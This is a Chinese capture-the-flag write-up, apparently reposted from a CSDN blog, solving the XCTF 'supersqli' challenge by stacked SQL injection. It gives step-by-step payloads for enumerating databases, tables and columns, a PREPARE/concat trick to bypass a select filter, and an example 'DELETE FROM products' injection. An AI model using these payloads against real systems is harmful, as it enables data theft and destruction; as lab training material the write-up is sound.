攻防世界supersqli-强网杯随便注(堆叠注入顶级练手题目)

XCTF - supersqli

本题知识点

  • sql注入
  • 堆叠注入

尝试闭合

直接在输入框中尝试闭合。发现是get型变量。

通过分析''1''',单引号直接闭合。

查列

接下来直接查看列


通过order by发现有两列,直接尝试进行联合注入。

联合注入尝试

-1' and union select 1,2%23

尝试联合注入,发现select关键词被过滤了,此时我们想到两种绕过方法,大小写和双写绕过。两个都尝试过后发现仍然无法绕过。此时确实没有其他办法了。

堆叠注入

尝试了多次后,没有思路,查了查资料,竟然是堆叠注入,其实堆叠注入之前是接触过的,但是一时还真想不起来,我们先来看一下堆叠注入。

  • Rename,PREPARE,set等函数均未被过滤,考虑是堆叠注入。

堆叠注入原理

在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在分号(;)结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除
需要注意的是,堆叠注入必须是mysql开启pdo模式时才能使用。

查询数据库

知道了是堆叠注入,还是注意事项,分号中间的必须是mysql语句。我们直接查库:
-1' ;show databases;%23

查表

-1' ;use supersqli;show tables;%23


supersqli数据库中发现一个可疑表1919810931114514

查内容

其实到这里,我们直接执行如下payload就可以获取表内容了。-1' ;use supersqli;select * from 1919810931114514;%23,但是select被过滤了,只能绕过。
我们首先查看下字段

-1' ;use supersqli;show columns from `1919810931114514`;%23

在上面的payload中,在linux中是不区分``和’'的区别的,但是在windows中区分,这里可以发现,payload:-1'; show columns from 1919810931114514; # 是没有回显的。
这里来说明一下原因:在mysql中查询纯数字和关键字的列名、表名时必须加

纯数字也是同理,show columns from 1919810931114514也是不会出结果的。这里也提示大家做列名和表名的时候不能用mysql中的关键字。

预处理绕过

语法:定义预处理:
PREPARE 定义的名字 from 要定义的语句执行;EXECUTE 定义的名字 payload

-1';PREPARE chaxun_flag from concat('s','elect',' * from `1919810931114514`');EXECUTE chaxun_flag; %23

猜你喜欢

转载自blog.csdn.net/yuanxu8877/article/details/128088405